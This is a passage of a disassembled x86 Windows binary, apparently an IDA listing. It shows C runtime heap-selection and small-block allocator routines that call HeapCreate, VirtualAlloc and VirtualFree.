loc_4100D9:				; CODE XREF: sub_4100AE+15j
					; sub_4100AE+1Cj
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_410223+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_40CCA0
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_4180E0	; GetVersionExA
		test	eax, eax
		jz	short loc_41011E
		cmp	[ebp+var_88], 2
		jnz	short loc_41011E
		cmp	[ebp+var_94], 5
		jb	short loc_41011E
		push	1
		pop	eax
		jmp	loc_410220
; ---------------------------------------------------------------------------


loc_41011E:				; CODE XREF: sub_4100DB+27j
					; sub_4100DB+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_418134	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41020D
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_410160


loc_41014D:				; CODE XREF: sub_4100DB+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41015B
		cmp	al, 7Ah
		jg	short loc_41015B
		sub	al, 20h
		mov	[ecx], al


loc_41015B:				; CODE XREF: sub_4100DB+76j
					; sub_4100DB+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41014D


loc_410160:				; CODE XREF: sub_4100DB+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_40EAC0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410182
		lea	eax, [ebp+var_122C]
		jmp	short loc_4101CB
; ---------------------------------------------------------------------------


loc_410182:				; CODE XREF: sub_4100DB+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_41804C	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_4101B6


loc_4101A3:				; CODE XREF: sub_4100DB+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_4101B1
		cmp	al, 7Ah
		jg	short loc_4101B1
		sub	al, 20h
		mov	[ecx], al


loc_4101B1:				; CODE XREF: sub_4100DB+CCj
					; sub_4100DB+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_4101A3


loc_4101B6:				; CODE XREF: sub_4100DB+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_40E4B0
		pop	ecx
		pop	ecx


loc_4101CB:				; CODE XREF: sub_4100DB+A5j
		cmp	eax, ebx
		jz	short loc_41020D
		push	2Ch
		push	eax
		call	sub_40E610
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41020D
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_4101F2


loc_4101E4:				; CODE XREF: sub_4100DB+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_4101ED
		mov	[ecx], bl
		jmp	short loc_4101EE
; ---------------------------------------------------------------------------


loc_4101ED:				; CODE XREF: sub_4100DB+10Cj
		inc	ecx


loc_4101EE:				; CODE XREF: sub_4100DB+110j
		cmp	[ecx], bl
		jnz	short loc_4101E4


loc_4101F2:				; CODE XREF: sub_4100DB+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_40E0AC
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_410220
		cmp	eax, 3
		jz	short loc_410220
		cmp	eax, 1
		jz	short loc_410220


loc_41020D:				; CODE XREF: sub_4100DB+5Cj
					; sub_4100DB+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4100AE
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_410220:				; CODE XREF: sub_4100DB+3Ej
					; sub_4100DB+126j ...
		pop	ebx
		leave
		retn
sub_4100DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_410223	proc near		; CODE XREF: sub_40EB84+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_41813C	; HeapCreate
		test	eax, eax
		mov	dword_483424, eax
		jz	short loc_410279
		call	sub_4100DB
		cmp	eax, 3
		mov	dword_483428, eax
		jnz	short loc_41025F
		push	3F8h
		call	sub_410280
		pop	ecx
		jmp	short loc_410269
; ---------------------------------------------------------------------------


loc_41025F:				; CODE XREF: sub_410223+2Dj
		cmp	eax, 2
		jnz	short loc_41027C
		call	sub_410DC7


loc_410269:				; CODE XREF: sub_410223+3Aj
		test	eax, eax
		jnz	short loc_41027C
		push	dword_483424
		call	dword_418138	; HeapDestroy


loc_410279:				; CODE XREF: sub_410223+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41027C:				; CODE XREF: sub_410223+3Fj
					; sub_410223+48j
		push	1
		pop	eax
		retn
sub_410223	endp


; =============== S U B	R O U T	I N E =======================================



sub_410280	proc near		; CODE XREF: sub_410223+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_483424
		call	dword_418110	; RtlAllocateHeap
		test	eax, eax
		mov	dword_48341C, eax
		jnz	short loc_41029D
		retn
; ---------------------------------------------------------------------------


loc_41029D:				; CODE XREF: sub_410280+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_483414, 0
		and	dword_483418, 0
		push	1
		mov	dword_483410, eax
		mov	dword_483420, ecx
		mov	dword_483408, 10h
		pop	eax
		retn
sub_410280	endp


; =============== S U B	R O U T	I N E =======================================



sub_4102C8	proc near		; CODE XREF: sub_40CD81+17p
					; sub_40DB08+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_483418
		lea	ecx, [eax+eax*4]
		mov	eax, dword_48341C
		lea	ecx, [eax+ecx*4]


loc_4102D8:				; CODE XREF: sub_4102C8+26j
		cmp	eax, ecx
		jnb	short loc_4102F0
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4102F2
		add	eax, 14h
		jmp	short loc_4102D8
; ---------------------------------------------------------------------------


loc_4102F0:				; CODE XREF: sub_4102C8+12j
		xor	eax, eax

locret_4102F2:				; CODE XREF: sub_4102C8+21j
		retn
sub_4102C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102F3	proc near		; CODE XREF: sub_40CD81+23p
					; sub_40DB08+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_410617
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_4103C9
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_410357
		push	3Fh
		pop	edx


loc_410357:				; CODE XREF: sub_4102F3+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4103AB
		cmp	edx, 20h
		jnb	short loc_410382
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4103A3
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4103A3
; ---------------------------------------------------------------------------


loc_410382:				; CODE XREF: sub_4102F3+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4103A3
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4103A3:				; CODE XREF: sub_4102F3+86j
					; sub_4102F3+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4103AE
; ---------------------------------------------------------------------------


loc_4103AB:				; CODE XREF: sub_4102F3+6Aj
		mov	ecx, [ebp+var_4]


loc_4103AE:				; CODE XREF: sub_4102F3+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_4103C9:				; CODE XREF: sub_4102F3+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_4103D7
		push	3Fh
		pop	edx


loc_4103D7:				; CODE XREF: sub_4102F3+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41047A
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_4103FC
		mov	ebx, esi


loc_4103FC:				; CODE XREF: sub_4102F3+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41040E
		mov	edx, esi


loc_41040E:				; CODE XREF: sub_4102F3+117j
		cmp	ebx, edx
		jz	short loc_410475
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41045D
		cmp	ebx, 20h
		jnb	short loc_41043E
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41045D
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41045D
; ---------------------------------------------------------------------------


loc_41043E:				; CODE XREF: sub_4102F3+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41045D
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41045D:				; CODE XREF: sub_4102F3+128j
					; sub_4102F3+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_410475:				; CODE XREF: sub_4102F3+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41047D
; ---------------------------------------------------------------------------


loc_41047A:				; CODE XREF: sub_4102F3+EDj
		mov	ebx, [ebp+arg_0]


loc_41047D:				; CODE XREF: sub_4102F3+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41048B
		cmp	ebx, edx
		jz	loc_41050C


loc_41048B:				; CODE XREF: sub_4102F3+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41050C
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_4104E3
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4104D2
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4104D2:				; CODE XREF: sub_4102F3+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41050C
; ---------------------------------------------------------------------------


loc_4104E3:				; CODE XREF: sub_4102F3+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4104F9
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_4104F9:				; CODE XREF: sub_4102F3+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41050C:				; CODE XREF: sub_4102F3+192j
					; sub_4102F3+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_410617
		mov	eax, dword_483414
		test	eax, eax
		jz	loc_410609
		mov	ecx, dword_48340C
		mov	esi, dword_418140
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_48340C
		mov	eax, dword_483414
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_483414
		mov	ecx, dword_48340C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_483414
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_483414
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41059A
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_483414


loc_41059A:				; CODE XREF: sub_4102F3+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_410609
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_483414
		push	dword ptr [eax+10h]
		push	0
		push	dword_483424
		call	dword_418114	; RtlFreeHeap
		mov	eax, dword_483418
		mov	edx, dword_48341C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_483414
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_40D460
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_483418
		cmp	eax, dword_483414
		jbe	short loc_4105FF
		sub	[ebp+arg_0], 14h


loc_4105FF:				; CODE XREF: sub_4102F3+306j
		mov	eax, dword_48341C
		mov	dword_483410, eax


loc_410609:				; CODE XREF: sub_4102F3+234j
					; sub_4102F3+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_48340C, edi
		mov	dword_483414, eax


loc_410617:				; CODE XREF: sub_4102F3+38j
					; sub_4102F3+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4102F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41061C	proc near		; CODE XREF: sub_40CD0D+18p
					; sub_40DB08+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_483418
		mov	edx, dword_48341C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41065C
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41066C
; ---------------------------------------------------------------------------


loc_41065C:				; CODE XREF: sub_41061C+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41066C:				; CODE XREF: sub_41061C+3Ej
		mov	eax, dword_483410
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_410693


loc_41067A:				; CODE XREF: sub_41061C+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_410693
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41067A


loc_410693:				; CODE XREF: sub_41061C+5Cj
					; sub_41061C+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_410711
		mov	ebx, edx


loc_41069A:				; CODE XREF: sub_41061C+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4106B6
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4106B4
		add	ebx, 14h
		jmp	short loc_41069A
; ---------------------------------------------------------------------------


loc_4106B4:				; CODE XREF: sub_41061C+91j
		cmp	ebx, eax


loc_4106B6:				; CODE XREF: sub_41061C+83j
		jnz	short loc_410711


loc_4106B8:				; CODE XREF: sub_41061C+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_4106CE
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4106CB
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_4106B8
; ---------------------------------------------------------------------------


loc_4106CB:				; CODE XREF: sub_41061C+A5j
		cmp	ebx, [ebp+var_4]


loc_4106CE:				; CODE XREF: sub_41061C+9Fj
		jnz	short loc_4106F6
		mov	ebx, edx


loc_4106D2:				; CODE XREF: sub_41061C+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4106E6
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4106E4
		add	ebx, 14h
		jmp	short loc_4106D2
; ---------------------------------------------------------------------------


loc_4106E4:				; CODE XREF: sub_41061C+C1j
		cmp	ebx, eax


loc_4106E6:				; CODE XREF: sub_41061C+BBj
		jnz	short loc_4106F6
		call	sub_410925
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41070A


loc_4106F6:				; CODE XREF: sub_41061C:loc_4106CEj
					; sub_41061C:loc_4106E6j
		push	ebx
		call	sub_4109D6
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_410711


loc_41070A:				; CODE XREF: sub_41061C+D8j
		xor	eax, eax
		jmp	loc_410920
; ---------------------------------------------------------------------------


loc_410711:				; CODE XREF: sub_41061C+7Aj
					; sub_41061C:loc_4106B6j ...
		mov	dword_483410, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_410738
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41076F


loc_410738:				; CODE XREF: sub_41061C+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41076C


loc_410755:				; CODE XREF: sub_41061C+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_410755


loc_41076C:				; CODE XREF: sub_41061C+137j
		mov	edx, [ebp+var_4]


loc_41076F:				; CODE XREF: sub_41061C+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_410798
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_410798:				; CODE XREF: sub_41061C+16Dj
					; sub_41061C+183j
		test	ecx, ecx
		jl	short loc_4107A1
		shl	ecx, 1
		inc	edi
		jmp	short loc_410798
; ---------------------------------------------------------------------------


loc_4107A1:				; CODE XREF: sub_41061C+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_4107BE
		push	3Fh
		pop	esi


loc_4107BE:				; CODE XREF: sub_41061C+19Dj
		cmp	esi, edi
		jz	loc_4108D3
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41082F
		cmp	edi, 20h
		jge	short loc_4107FE
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41082C
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41082F
; ---------------------------------------------------------------------------


loc_4107FE:				; CODE XREF: sub_41061C+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41082C
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41082F
; ---------------------------------------------------------------------------


loc_41082C:				; CODE XREF: sub_41061C+1D6j
					; sub_41061C+203j
		mov	ebx, [ebp+arg_0]


loc_41082F:				; CODE XREF: sub_41061C+1B0j
					; sub_41061C+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4108DF
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4108D0
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4108A1
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41088F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41088F:				; CODE XREF: sub_41061C+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4108D0
; ---------------------------------------------------------------------------


loc_4108A1:				; CODE XREF: sub_41061C+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4108BA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4108BA:				; CODE XREF: sub_41061C+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_4108D0:				; CODE XREF: sub_41061C+24Ej
					; sub_41061C+283j
		mov	ecx, [ebp+var_8]


loc_4108D3:				; CODE XREF: sub_41061C+1A4j
		test	ecx, ecx
		jz	short loc_4108E2
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4108E2
; ---------------------------------------------------------------------------


loc_4108DF:				; CODE XREF: sub_41061C+229j
		mov	ecx, [ebp+var_8]


loc_4108E2:				; CODE XREF: sub_41061C+2B9j
					; sub_41061C+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_410918
		cmp	ebx, dword_483414
		jnz	short loc_410918
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_48340C
		jnz	short loc_410918
		and	dword_483414, 0


loc_410918:				; CODE XREF: sub_41061C+2E0j
					; sub_41061C+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_410920:				; CODE XREF: sub_41061C+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41061C	endp


; =============== S U B	R O U T	I N E =======================================



sub_410925	proc near		; CODE XREF: sub_41061C+CCp
		mov	eax, dword_483418
		mov	ecx, dword_483408
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_410968
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_48341C
		push	edi
		push	dword_483424
		call	dword_41811C	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_4109B8
		add	dword_483408, 10h
		mov	dword_48341C, eax
		mov	eax, dword_483418


loc_410968:				; CODE XREF: sub_410925+11j
		mov	ecx, dword_48341C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_483424
		lea	esi, [ecx+eax*4]
		call	dword_418110	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4109B8
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_418144	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4109BC
		push	dword ptr [esi+10h]
		push	edi
		push	dword_483424
		call	dword_418114	; RtlFreeHeap


loc_4109B8:				; CODE XREF: sub_410925+30j
					; sub_410925+67j
		xor	eax, eax
		jmp	short loc_4109D3
; ---------------------------------------------------------------------------


loc_4109BC:				; CODE XREF: sub_410925+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_483418
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4109D3:				; CODE XREF: sub_410925+95j
		pop	edi
		pop	esi
		retn
sub_410925	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109D6	proc near		; CODE XREF: sub_41061C+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4109E8:				; CODE XREF: sub_4109D6+19j
		test	eax, eax
		jl	short loc_4109F1
		shl	eax, 1
		inc	ebx
		jmp	short loc_4109E8
; ---------------------------------------------------------------------------


loc_4109F1:				; CODE XREF: sub_4109D6+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_410A06:				; CODE XREF: sub_4109D6+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_410A06
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_418144	; VirtualAlloc
		test	eax, eax
		jnz	short loc_410A39
		or	eax, 0FFFFFFFFh
		jmp	loc_410ACC
; ---------------------------------------------------------------------------


loc_410A39:				; CODE XREF: sub_4109D6+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_410A7F
		lea	eax, [edi+10h]


loc_410A46:				; CODE XREF: sub_4109D6+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
